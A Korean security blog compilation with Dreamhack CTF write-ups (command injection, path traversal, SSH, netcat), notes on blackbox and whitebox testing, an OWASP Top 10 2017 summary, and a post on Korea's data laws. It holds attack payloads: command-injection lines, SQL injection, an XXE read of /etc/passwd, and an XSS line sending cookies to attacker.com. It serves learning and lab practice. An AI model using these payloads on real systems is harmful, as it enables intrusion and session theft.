특정host에 ping패킷을 보내는 서비스라고 하고, 운영체제 명령어 삽입을 통해 플래그를 획득할 수 있다고 합니다.

플래그는 flag.py 에 있고, 뭔가 명령어 삽입을 해야 flag.py를 찾을 수 있을 것 같습니다.

문제파일을 받고, 서버를 생성해줍니다.

접속하니 이런 화면이 뜨네요. Ping 메뉴를 클릭하니 아래와 같습니다. ip를 입력하면 ping을 보내는 서비스 같습니다.

여기에 핑을 날려보니 제대로 받는건 확인됩니다.

이제 다시 home으로 와서, 위조된 명령어를 삽입해보려고하니 형식일치 내용이 나오길래, ctrl+U로 소스코드를 확인해주니 패턴이 나옵니다.

영어 대소문자 및 숫자와, 총 5-20 문자까지로 매칭되어야 함을 확인할 수 있습니다.

flag.py를 확인해보니 FLAG 값을 출력하는 cat이나 put 등으로 뽑아내면 될 것 같습니다.

운영체제 명령어 삽입의 종류는 아래와 같다.

1) ; : 해당 라인의 명령어를 성공, 실패와 관련 없이 모두 실행

 - 예시) ping 8.8.8.8; cat flag.py

2) | : 앞의 명령어 처리결과(ping 8.8.8.8)를 뒤 명령어로 전달하여 뒤 명령어를 실행

 - 예시) ping 8.8.8.8 | cat flag.py

3) || : ping 8.8.8.8를 먼저 실행하고 명령 실행에 성공할 경우 뒤 명령은 실행하지 않고, 실패 시 cat.flag.py를 실행

 - 예시) ping 8.8.8.8 || cat flag.py

4) && : ping 8.8.8.8을 먼저 실행하고, 명령 실행에 실패할 경우 뒤 명령은 실행하지 않음

 - 예시) ping 8.8.8.8 && cat flag.py

 -> ping 명령어 결과로 cat flag.py 명령어를 수행하는데 이렇게 되면 실제로 모두 수행되지만 화면에는 cat 결과만 출력된다.

이제 BURPSUITE를 통해 프록시 우회하여 조작 해보도록 한다.

1. intercept off 의 상태에서, 아래 open browser를 클릭하여 새 브라우저를 연다.

2. intercept on 상태로 클릭하고, 

3. 새로 열린 창에서 8.8.8.8을 입력하고 ping을 날린다.

4. 그러면 아래 같이 입력된 값이 보인다.

여기서, host=8.8.8.8에 명령어 삽입을 할 수 있도록 입력하고, forward를 한다.(host=8.8.8.8"; cat flag.py")

5. 그럼 아래처럼 브라우저에서 DH 값을 뱉어내는걸 확인할 수 있다.

이렇게 프록시를 우회해서 찾을수도 있고, 개발자도구에서 그냥 패턴부분을 삭제해버리고 찾을 수도 있다고한다. 참고.

이 문제를 풀어야합니다.

file download 취약점이 존재한다고 하니, 서버사이드에서 취약한 부분이 존재하나 봅니다.

우선 서버를 생성해줍니다.

host1.dreamhack.games:10912 로 접속해보면 뭔가 나올 것 같습니다.

일단 문제파일을 받습니다.

파일이 존재하는걸 볼 수 있고, app.py를 확인해보니 아래와 같습니다.

#!/usr/bin/env python3
import os
import shutil

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)

UPLOAD_DIR = 'uploads'


@APP.route('/')
def index():
    files = os.listdir(UPLOAD_DIR)
    return render_template('index.html', files=files)


@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
    if request.method == 'POST':
        filename = request.form.get('filename')
        content = request.form.get('content').encode('utf-8')

        if filename.find('..') != -1:
            return render_template('upload_result.html', data='bad characters,,')

        with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
            f.write(content)

        return redirect('/')

    return render_template('upload.html')


@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)


if __name__ == '__main__':
    if os.path.exists(UPLOAD_DIR):
        shutil.rmtree(UPLOAD_DIR)

    os.mkdir(UPLOAD_DIR)

    APP.run(host='0.0.0.0', port=8000)

upload 디렉토리는 uploads 로 확인할 수 있고, 

URL에 http://host1.dreamhack.games:10912/ 로 들어가보니 아래와 같습니다.

(asd, asdasd는 Upload My Memo를 통해 입력값을 넣어서 나온 결과로 처음화면은 다릅니다.)

여기에 filename과 content를 test로 임의로 넣으니 아래와 같이 생성됩니다.

이렇게 나오는 것을 볼 수 있습니다.

여기서 url을 확인해보니 http://host1.dreamhack.games:10912/read?name=파일명 으로 나오는 것을 볼 수 있습니다.

따라서 여기에 flag.py를 넣어봅니다.

flag.py파일이 없다고 나옵니다.

다시 한번 app.py의 소스코드를 확인해보니 

def upload_memo():
    if request.method == 'POST':
        filename = request.form.get('filename')
        content = request.form.get('content').encode('utf-8')

        if filename.find('..') != -1:
            return render_template('upload_result.html', data='bad characters,,')

        with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
            f.write(content)

        return redirect('/')

    return render_template('upload.html')

upload_memo에 파일오픈하는 부분을 참고합니다. 파일앞에 ../ 루트 디렉토리를 통해 접근 가능할 것으로 보입니다.

입력해보니 FLAG 값이 나오는 것을 확인할 수 있었습니다.

flag를 입력해봅니다.

문제 해결된 것을 확인하였습니다.

이번 문제는 소스코드를 분석하고 파일다운로드 취약점에 대한 이해가 있어야 풀수있을것으로 보입니다.

이번에는 개발자도구(F12)를 활용한 플래그를 찾는 문제입니다.

과연 어떤문제일까

여기서 문제파일을 받아줍니다.

이런 파일들이 포함되어 있습니다.

먼저, 문제풀이 사이트에서 ctrl+U 로 소스코드를 확인해줍니다.

뭐 대략 이런식이고... ctrl+f 로 혹시몰라 DH{ 로 검색해보니 플래그가 뜨지는 않습니다 역시나...

그래서, 문제파일들을 하나하나 뒤져봅니다.

main.4c6e144e.map 파일안 소스코드에 아래와 같은 내용이 있습니다.(VS 2022나 메모장으로 소스코드 확인하셔도 편합니다.)

바로 정답에 입력하니, 정답.....

생각보다 아무것도 없었던 문제라 뭔가 아쉬웠던..

이번엔 SSH 를 활용하는 간단한 flag 찾기 문제입니다.

문제 설명은 위와 같습니다.

우측 상단에서 문제파일을 받고, flag 파일을 확인해보니 아래와 같았습니다.

> DH{this_is_not_real}

힌트를 알 수 없기에, 우선 서버를 생성하니 아래와 같습니다.

SSH를 활용하라고 했기 때문에, putty로 접속하여 host1.dreamhack.games 에 11553 포트로 접속을 시도해봅니다.

연결이 되는것을 확인하였고, 로그인 ID를 입력받도록 확인됩니다.

이제 문제설명에서 주어진 ID/PW를 통해 접속해봅니다.

접속해서 ls로 파일들을 확인해보니, flag 파일이 보입니다.

어떤 값이 들어있는지 확인을 위해 cat으로 flag 파일을 읽어봅니다.

이제야 flag 값이 보이는 것을 확인할 수 있습니다.

이제 사이트에서 해당 flag 값을 입력해줍니다.

성공입니다. putty를 활용한 아주 간단한 SSH 문제였습니다.

드림핵을 시작했습니다.

문제를 차근차근 열심히 풀어보려고합니다.

먼저 비기너 문제부터 시작합니다~

Dreamhack을 입력해서 플래그를 획득하라고 합니다.

우측에 보면 문제 파일을 받을 수 있고, 해당 파일을 에디터로 열어보면 아래와 같은 소스가 확인됩니다.

코드를 분석해보면 Dreamhack을 입력하면, Welcome Beginners! 라는 메시지와 함께 flag 값을 읽어와서 puts(출력)해주는 것을 알 수 있습니다.

이제 서버를 먼저 생성해주면 위 이미지처럼 생성됩니다.

따라서 Linux에서 NC(netcat) 명령어를 이용해서 플래그를 추출하려고 합니다.

그래서, Linux 환경을 만들어주기 위해 vmware와 저는 Rocky리눅스를 올려서 리눅스 환경을 구축했습니다.

적당히 설정해준 후, 내부로 들어가서 Rocky linux를 install해줍니다.

설치된 후, nc 명령어를 이용해 아래처럼 입력해줍니다.

이제, Dreamhack을 입력합니다.

위처럼 Flag 값이 puts 되고, 해당 값을 확인할 수 있습니다.

입력하면, 맞춤으로 뜨는걸 확인할 수 있습니다.

이상으로 가장 입문 문제를 풀어보았습니다.

1. Blackbox Testing(블랙박스 테스트)

내부 설계 구조나 작동원리를 모르는 상태에서 동작을 검사하는 테스트방식에 해당한다.

올바른 값과, 올바르지 않은 값을 입력값으로 주어, 도출된 결과(올바른 결과가 도출되었는지)를 보고 판단하는 방식이 Blackbox testing이다.

블랙박스 테스트는 소프트웨어가 수행할 특정 기능을 알기 위해서 각 기능이 완전히 작동되는 것을 입증하는 테스트로, 기능 테스트라고도 한다.

• 사용자의 요구사항 명세를 보면서 테스트하는 것으로, 주로 구현된 기능을 테스트한다.
• 소프트웨어 인터페이스에서 실시되는 테스트이다.
• 부정확하거나 누락된 기능, 인터페이스 오류, 자료 구조나 외부 데이터베이스 접근에 따른 오류, 행위나 성능 오류, 초기화와 종료 오류 등을 발견하기 위해 사용되며, 테스트 과정의 후반부에 적용된다.

2. Whitebox Testing(화이트박스 테스트)

응용 프로그램의 내부 구조와 로직(Logic)을 검사하는 테스트방식으로, 내부 소스코드를 테스트하는 방식을 예로 들 수 있다.

- 화이트박스 테스트는 소프트웨어, 모듈 등의 소스코드를 오픈시킨 상태에서 논리적인 모든 경로를 테스트하여  테스트 케이스를 설계하는 방법이다.

화이트박스 테스트

• 화이트박스 테스트는 설계된 절차에 초점을 둔 구조를 분석하는 테스트며, 주로 테스트 과정의 초기에 적용된다.
• 모듈 안의 작동을 직접 분석한다.
• 소스코드(모듈)의 모든 문장을 한 번 이상 실행함으로써 수행된다.
• 프로그램의 제어 구조에 따라 선택, 반복 등의 분기점 부분들을 수행함으로써 논리적 경로를 제어한다.

이 두가지 테스트방식은 단순 소프트웨어를 테스트할 때 뿐만 아니라, 보안에서도 쓰일 수 있다.

가령 홈페이지, 모바일 앱 취약점 점검 등 기능적인 부분을 테스트 할 때에는 Blackbox Testing 방식이라고 볼 수 있으며, 직접 홈페이지, 모바일 앱의 소스코드를 분석하여 논리구조(구성)를 이해하고 보안 취약점이 존재하는지 테스트 할 때에는 Whitebox Testing 이라고 볼 수 있다.

[OWASP TOP 10]

OWASP Top 10 : 개발자 및 웹 애플리케이션 보안을 위한 표준 문서

[2013 -> 2017 OWASP TOP 10]

1) A1 : 2017-Injection (삽입)

Exploitability(심각도) 3, Prevalence(발생빈도) 2, Detectability(탐지가능성) 3, Technical(기술적난이도) 3

- SQL, NoSQL, OS 및 LDAP 삽입과 같은 삽입성 보안약점은 신뢰할 수없는 데이터가 명령 또는 쿼리의 일부로 인터프리터에 전송 될 때 발생합니다. 공격자 데이터는 인터프리터가 의도하지 않은 명령을 실행하거나 적절한 권한 없이 데이터에 액세스하도록 속일 수 있습니다.

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 애플리케이션은 다음과 같은 취약한 SQL 호출을 구성 할 때 신뢰할 수없는 데이터를 사용합니다. 시나리오 # 2 : 마찬가지로 프레임 워크에 대한 애플리케이션의 맹신 신뢰로 인해 여전히 취약한 쿼리가 발생할 수 있습니다 (예 : Hibernate Query Language (HQL)). 두 경우 모두 공격자는 브라우저에서 'id'매개 변수 값을 수정하여 '또는'1 '='1을 전송합니다. 예 : 이렇게하면 accounts 테이블의 모든 레코드를 반환하도록 두 쿼리의 의미가 변경됩니다. 더 위험한 공격은 데이터를 수정 또는 삭제하거나 저장 프로 시저를 호출 할 수도 있습니다.

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

http://example.com/app/accountView?id=' or '1'='1

-----------------------------------------------------------------------------------------------

2) A2 : 2017-Broken Authentication (취약한 인증)

Exploitability(심각도) 3, Prevalence(발생빈도) 2, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 인증 및 세션 관리와 관련된 애플리케이션 기능이 종종 잘못 구현되어 공격자가 암호, 키 또는 세션 토큰을 손상 시키거나 다른 구현 결함을 악용하여 다른 사용자의 신원을 일시적 또는 영구적으로 가정 할 수 있습니다.

* 무차별 대입 또는 기타 자동화 된 공격을 허용합니다.

* "Password1"또는 "admin / admin"과 같은 기본 암호, 취약하거나 잘 알려진 암호를 허용합니다.

* 안전하지 않은 "지식 기반 답변"과 같이 취약하거나 비효율적 인 자격 증명 복구 및 암호 분실 프로세스를 사용합니다.

* 일반 텍스트, 암호화 또는 약하게 해시 된 암호를 사용합니다. ( A3 : 2017- 민감한 데이터 노출 참조 ).

* 다단계 인증이 없거나 비효율적입니다.

* URL에 세션 ID를 노출합니다 (예 : URL 재 작성).

* 로그인 성공 후 세션 ID를 교체하지 않습니다.

* 세션 ID를 제대로 무효화하지 않습니다. 사용자 세션 또는 인증 토큰 (특히 SSO (Single Sign-On) 토큰)은 로그 아웃 또는 비활성 기간 동안 제대로 무효화되지 않습니다.

3) A3 : 2017-Sensitive Data Exposure(민감한 데이터 노출)

Exploitability(심각도) 2, Prevalence(발생빈도) 3, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 공격자는 암호화를 직접 공격하는 대신 키를 훔치고, 중간자 공격을 실행하거나, 전송 중이거나 브라우저와 같은 사용자 클라이언트에서 서버에서 일반 텍스트 데이터를 가로챕니다.

- 가장 일반적인 결함은 단순히 민감한 데이터를 암호화하지 않는 것입니다. 암호화가 사용되면 약한 키 생성 및 관리, 약한 알고리즘, 프로토콜 및 암호 사용이 일반적이며 특히 약한 암호 해싱 저장 기술의 경우에 노출되기 쉽습니다. 전송중인 데이터의 경우 서버 측 약점은 주로 감지하기 쉽지만 미사용 데이터에는 어렵습니다.

* 데이터가 일반 텍스트로 전송되는지 확인필요(HTTP, SMTP 및 FTP와 같은 프로토콜과 관련이 있음). 외부 인터넷 트래픽은 특히 위험합니다. 로드 밸런서, 웹 서버 또는 백엔드 시스템 간의 모든 내부 트래픽을 확인합니다.

* 기본적으로 또는 이전 코드에서 사용되는 오래되거나 취약한 암호화 알고리즘이 있습니까?

* 기본 암호화 키가 사용 중이거나 약한 암호화 키가 생성 또는 재사용되었거나 적절한 키 관리 또는 순환이 누락 되었습니까?

* 암호화가 적용되지 않습니까? 예를 들어 사용자 에이전트 (브라우저) 보안 지침 또는 헤더가 누락 되었습니까?

* 사용자 에이전트 (예 : 앱, 메일 클라이언트)가 수신 된 서버 인증서가 유효한지 확인하지 않습니까?

4) A4 : 2017-XML External Entities (XXE) (XML 외부 엔터티(XXE))

Exploitability(심각도) 2, Prevalence(발생빈도) 2, Detectability(탐지가능성) 3, Technical(기술적난이도) 3

- 오래되거나 잘못 구성된 XML 프로세서는 XML 문서 내에서 외부 엔터티 참조를 평가합니다. 외부 엔터티는 파일 URI 처리기, 내부 파일 공유, 내부 포트 검색, 원격 코드 실행 및 서비스 거부 공격을 사용하여 내부 파일을 공개하는 데 사용할 수 있습니다.

- 공격자는 취약한 코드, 종속성 또는 통합을 악용하여 XML을 업로드하거나 XML 문서에 악의적인 코드를 포함 할 수 있는 경우 취약한 XML 프로세서를 악용 할 수 있습니다.

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 공격자가 서버에서 데이터 추출을 시도합니다. 시나리오 # 2 : 공격자가 위의 ENTITY 줄을 다음과 같이 변경하여 서버의 사설 네트워크를 조사합니다. 시나리오 # 3 : 공격자는 잠재적으로 무한한 파일을 포함하여 서비스 거부 공격을 시도합니다.

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

-----------------------------------------------------------------------------------------------

5) A5:2017-Broken Access Control (취약한 접근제어)

Exploitability(심각도) 2, Prevalence(발생빈도) 2, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 인증 된 사용자가 수행 할 수 있는 작업에 대한 제한이 종종 제대로 시행되지 않습니다. 공격자는 이러한 결함을 악용하여 다른 사용자의 계정에 액세스하고, 중요한 파일을 보고, 다른 사용자의 데이터를 수정하고, 액세스 권한을 변경하는 등의 무단 기능 및 데이터에 액세스 할 수 있습니다.

공격 시나리오 예

-----------------------------------------------------------------------------------------------

pstmt.setString(1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

http://example.com/app/accountInfo?acct=notmyacct

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

-----------------------------------------------------------------------------------------------

6) A6:2017-Security Misconfiguration(보안 구성 오류)

Exploitability(심각도) 3, Prevalence(발생빈도) 3, Detectability(탐지가능성) 3, Technical(기술적난이도) 2

- 보안 구성 오류가 가장 일반적으로 발생하는 문제입니다. 이는 일반적으로 안전하지 않은 기본 구성, 불완전하거나 임시 구성, 개방형 클라우드 스토리지, 잘못 구성된 HTTP 헤더 및 민감한 정보가 포함 된 자세한 오류 메시지의 결과로 발생합니다. 모든 운영 체제, 프레임 워크, 라이브러리 및 애플리케이션을 안전하게 구성해야 할뿐만 아니라 적시에 패치 / 업그레이드를 해야합니다.

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 애플리케이션 서버는 프로덕션 서버에서 제거되지 않은 샘플 애플리케이션과 함께 제공됩니다. 이러한 샘플 애플리케이션에는 공격자가 서버를 손상시키는 데 사용하는 알려진 보안 결함이 있습니다. 이러한 응용 프로그램 중 하나가 관리 콘솔이고 기본 계정이 변경되지 않은 경우 공격자는 기본 암호로 로그인하고 인계합니다.

시나리오 # 2 : 서버에서 디렉토리 목록이 비활성화되지 않습니다. 공격자는 단순히 디렉토리를 나열 할 수 있음을 발견합니다. 공격자는 컴파일 된 Java 클래스를 찾아 다운로드하여 코드를 보기 위해 디 컴파일 및 리버스 엔지니어링 합니다. 그런 다음 공격자는 애플리케이션에서 심각한 액세스 제어 결함을 발견합니다.

시나리오 # 3: 응용 프로그램 서버의 구성을 통해 스택 추적과 같은 자세한 오류 메시지를 사용자에게 반환 할 수 있습니다. 이는 취약한 것으로 알려진 구성 요소 버전과 같은 민감한 정보 또는 근본적인 결함을 잠재적으로 노출합니다.

시나리오 # 4 : 클라우드 서비스 공급자는 다른 CSP 사용자가 인터넷에 공개하는 기본 공유 권한을 가지고 있습니다. 이를 통해 클라우드 스토리지에 저장된 민감한 데이터에 액세스 할 수 있습니다.

-----------------------------------------------------------------------------------------------

7) A7:2017-Cross-Site Scripting XSS(크로스사이트 스크립트)

Exploitability(심각도) 3, Prevalence(발생빈도) 3, Detectability(탐지가능성) 3, Technical(기술적난이도) 2

- XSS 결함은 애플리케이션이 적절한 유효성 검사 또는 이스케이프없이 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나 HTML을 만들 수있는 브라우저 API를 사용하여 사용자가 제공 한 데이터로 기존 웹 페이지를 업데이트하거나 자바 스크립트, XSS를 통해 공격자는 피해자의 브라우저에서 스크립트를 실행하여 사용자 세션을 가로채거나 웹 사이트를 손상 시키거나 사용자를 악성 사이트로 리디렉션 할 수 있습니다.

[XSS의 3가지 종류]

* Reflected XSS : 응용 프로그램 또는 API는 HTML 출력의 일부로 유효성 검사 및 이스케이프 처리되지 않은 사용자 입력을 포함합니다. 공격이 성공하면 공격자가 피해자의 브라우저에서 임의의 HTML 및 JavaScript를 실행할 수 있습니다. 일반적으로 사용자는 악성 워터 링 홀 웹 사이트, 광고 등과 같이 공격자가 제어하는 ​​페이지를 가리키는 일부 악성 링크와 상호 작용해야합니다.

* Stored XSS : 응용 프로그램 또는 API는 나중에 다른 사용자 또는 관리자가 볼 수 있는 삭제되지 않은 사용자 입력을 저장합니다. 저장된 XSS는 종종 높거나 중요한 위험으로 간주됩니다.

* DOM XSS: 페이지에 공격자가 제어 할 수 있는 데이터를 동적으로 포함하는 JavaScript 프레임워크, 단일 페이지 애플리케이션 및 API는 DOM XSS에 취약합니다. 이상적으로는 애플리케이션이 공격자가 제어 할 수있는 데이터를 안전하지 않은 JavaScript API로 보내지 않습니다.

일반적인 XSS 공격에는 세션 도용, 계정 탈취, MFA 우회, DOM 노드 교체 또는 손상 (트로이 목마 로그인 패널 등), 악성 소프트웨어 다운로드, 키 로깅 및 기타 클라이언트 측 공격과 같은 사용자 브라우저에 대한 공격이 포함됩니다.

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 애플리케이션이 유효성 검사 또는 이스케이프없이 다음 HTML 스니펫의 구성에 신뢰할 수없는 데이터를 사용합니다 . 공격자는 브라우저에서 'CC'매개 변수를 다음과 같이 수정합니다. 이 공격으로 인해 피해자의 세션 ID가 공격자의 웹 사이트로 전송됩니다. 공격자가 사용자의 현재 세션을 가로 채도록 허용합니다. 참고 : 공격자는 XSS를 사용하여 애플리케이션이 사용할 수 있는 자동화 된 CSRF (Cross-Site Request Forgery) 방어를 무력화 할 수 있습니다.

(String) page += "<input name='creditcard' type='TEXT'

value='" + request.getParameter("CC") + "'>";

'><script>document.location=

'http://www.attacker.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'.

-----------------------------------------------------------------------------------------------

8) A8:2017-Insecure Deserialization(안전하지 않은 역 직렬화)

Exploitability(심각도) 1, Prevalence(발생빈도) 2, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 안전하지 않은 역 직렬화는 종종 원격 코드 실행으로 이어집니다. 역 직렬화 결함이 원격 코드 실행으로 이어지지 않더라도 재생 공격, 주입 공격 및 권한 상승 공격을 포함한 공격을 수행하는 데 사용될 수 있습니다.

공격 시나리오 예

-----------------------------------------------------------------------------------------------

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

-----------------------------------------------------------------------------------------------

9) A9:2017-Using Components with Known Vulnerabilities(알려진 취약점이 있는 구성 요소 사용)

Exploitability(심각도) 2, Prevalence(발생빈도) 3, Detectability(탐지가능성) 2, Technical(기술적난이도) 2

- 라이브러리, 프레임 워크 및 기타 소프트웨어 모듈과 같은 구성 요소는 애플리케이션과 동일한 권한으로 실행됩니다. 취약한 구성 요소가 악용되는 경우 이러한 공격은 심각한 데이터 손실이나 서버 탈취를 촉진 할 수 있습니다. 알려진 취약성이 있는 구성 요소를 사용하는 애플리케이션과 API는 애플리케이션 방어를 약화시키고 다양한 공격과 영향을 미칠 수 있습니다.

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 구성 요소는 일반적으로 응용 프로그램 자체와 동일한 권한으로 실행되므로 구성 요소의 결함으로 인해 심각한 영향을 받을 수 있습니다. 이러한 결함은 우발적 (예 : 코딩 오류) 또는 의도적 (예 : 구성 요소의 백도어) 일 수 있습니다. 발견 된 악용 가능한 구성 요소 취약점의 몇 가지 예는 다음과 같습니다.

* 서버에서 임의의 코드를 실행할 수 있는 Struts 2 원격 코드 실행 취약점 인 CVE-2017-5638 이 심각한 위반으로 인해 비난을 받았습니다.

* 사물 인터넷 (IoT) 은 패치하기가 어렵거나 불가능한 경우가 많지만 패치 적용의 중요성은 클 수 있습니다 (예 : 생체 의료 기기).

-----------------------------------------------------------------------------------------------

10) A10:2017-Insufficient Logging & Monitoring(불충분한 로깅 및 모니터링)

Exploitability(심각도) 2, Prevalence(발생빈도) 3, Detectability(탐지가능성) 1, Technical(기술적난이도) 2

- 불충분 한 로깅 및 모니터링은 사고 대응과의 누락 또는 비효율적 인 통합과 결합되어 공격자가 시스템을 추가 공격하고, 지속성을 유지하고, 더 많은 시스템으로 피벗하고, 데이터를 변조, 추출 또는 파괴 할 수 있습니다. 대부분의 침해 연구에 따르면 침해를 감지하는 데 걸리는 시간은 200 일 이상이며 일반적으로 내부 프로세스 또는 모니터링이 아닌 외부 당사자가 감지합니다.

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 소규모 팀이 운영하는 오픈 소스 프로젝트 포럼 소프트웨어가 소프트웨어 결함을 사용하여 해킹 당했습니다. 공격자들은 다음 버전과 모든 포럼 콘텐츠가 포함 된 내부 소스 코드 저장소를 삭제했습니다. 소스는 복구 할 수 있지만 모니터링, 로깅 또는 경고의 부족으로 인해 훨씬 ​​더 심각한 침해가 발생했습니다. 이 문제로 인해 포럼 소프트웨어 프로젝트가 더 이상 활성화되지 않습니다.

시나리오 # 2 : 공격자는 공통 암호를 사용하여 사용자를 검색합니다. 이 비밀번호를 사용하여 모든 계정을 인계받을 수 있습니다. 다른 모든 사용자의 경우가 스캔은 하나의 잘못된 로그인 만 남겨 둡니다. 며칠 후 다른 암호로이 작업을 반복 할 수 있습니다.

시나리오 # 3: 미국의 한 주요 소매 업체가 첨부 파일을 분석하는 내부 맬웨어 분석 샌드 박스를 보유한 것으로 알려졌습니다. 샌드 박스 소프트웨어가 잠재적으로 원치 않는 소프트웨어를 감지했지만 아무도이 감지에 응답하지 않았습니다. 샌드박스는 외부 은행의 사기성 카드 거래로 인해 위반이 감지되기 ​​전에 한동안 경고를 생성했습니다.

-----------------------------------------------------------------------------------------------

오늘은 데이터3법에 대해 소개하는 것으로, 정보보호 잡지식 첫 컨텐츠를 열어볼까합니다.

1. 데이터 3법이란? 

: 데이터 이용을 활성화하는「개인정보 보호법」,「정보통신망 이용촉진 및 정보보호 등에 관한 법률(정보통신망법)」,「신용정보의 이용 및 보호에 관한 법률(신용정보법)」등 3가지 법률을 통칭합니다.

핵심적인 내용은, 개인정보를 데이터로 활용 가능하도록 허용한다는 것입니다.

일반인의 개인정보란 이름, 생년월일, 주소, 주민등록번호 등 민감한 정보뿐만이 아니라 개인이 선호하는 장소, 음식, SNS 정보 등 개인의 멀티미디어 데이터 또한 무한히 많을 것입니다.

예를 들어 개인정보 데이터를 활용할 수 있게 된다면, 정부나 공공기관에서 개인들의 정보를 분석하기 위해 SNS로 많은 사람들이 방문하는 장소(예로 유명한 카페, 음식점 등)를 수집.분석하여, 해당 장소로의 교통 서비스(버스편 추가, 지하철 노선 확장 등)를 제공할 수 있음으로써, 삶의 질을 한 층 더 높일 수 있습니다. (조금 더 삶의 질이 향상되는 멋진 예시가 떠오르지 않아 죄송하네요ㅠ)

요약하면 이런 개인의 데이터를 정부, 기업 등에서 수집하고 분석하여 보다 나은 양질의 서비스를 제공할 수 있도록 데이터로 활용할 수 있게 된다는 뜻입니다.

장점?

이렇게 개인정보에 대한 데이터를 활용하게 되면 국민의 세금을 보다 실용적으로 사용 할 수 있을 것입니다.

또한 이런 개인정보도 종류가 무한한 만큼, 이를 수집하고 분석하여 통계내는 새로운 서비스나 일자리가 생기게 될 것입니다.

위에서 개인정보 데이터 활용에 대한 부분을 살펴보았고, 이제 데이터 3법 개정안의 핵심내용을 살펴보겠습니다.

1. '가명정보' 도입

: 개인정보의 체계는 '개인정보, 가명정보, 익명정보' 로 구분되며 개념마다 역할 및 취급사항도 다르게 규정됩니다. 가명정보란 특정 개인을 알아볼 수 없도록 처리한 정보로, 익명정보에 비해 많은 정보를 담고있어 데이터 활용에 유리해집니다.

2. 개인정보보호 체계 효율화 및 일원화

: 기존의 개인정보 보호법을 다루는 정부 기관들은 '행정안전부, 방송통신위원회, 금융위원회, 개인정보보호위원회' 등 이었습니다. 이렇게 법은 하나인데 다루는 기관들이 많으므로 각기 해석과 규제의 중복성이 발생하는 등 문제가 있어, 개정안에서 법 제도 및 감독 기관을 개인정보보호법 - 개인정보보호위원회로 일원화 하였습니다.

3. 데이터보안 강화 및 처벌 조항 강화

: 개인정보는 활용가치가 큰 만큼, 그만큼 유출되었을 때 사회적 문제를 야기할 수 있을만큼 민감한 데이터입니다. 따라서 이에 대한 보안을 강화하고, 처벌조항이 강화되어 질 것입니다.

(EU의 개인정보보호법(GDPR)이 강화된 것으로, 우리나라도 개인정보 사고 발생 시 규제와 처벌 등 강화될 것으로 보입니다.)

데이터 3법별로, 주요내용은 아래와 같이 참고하시면 될듯합니다.

------------------------------------------------------------------------------------

<어떤 내용의 법안인지 직접 확인해보기!>

1. 네이버나 구글 등에서 '국회' 를 검색하고, 대한민국 국회 사이트로 들어간 후, 입법예고를 클릭합니다.

2.  위에서 국회입법예고 사이트로 이동하면 진행중이거나 종료된 법률(안)들을 확인할 수 있는데, 데이터 3법 관련내용은 종료된 입법예고에서 확인하시면 됩니다.

3. 종료된 입법예고에서 '개인정보' 혹은 '정보통신' 등의 키워드로 검색하여 데이터 3법을 검색한 후, 아래와 같이 검색되면 직접 클릭하셔서 세부 개정 법안내용을 파악하시면 될 듯합니다.

이상으로 데이터 3법에 대한 포스팅을 마칩니다. 부족한 부분이 있더라도 양해부탁드리며 제가 놓친부분이 있거나 기타 의견있으시면 댓글로 남겨주시면 감사드립니다^^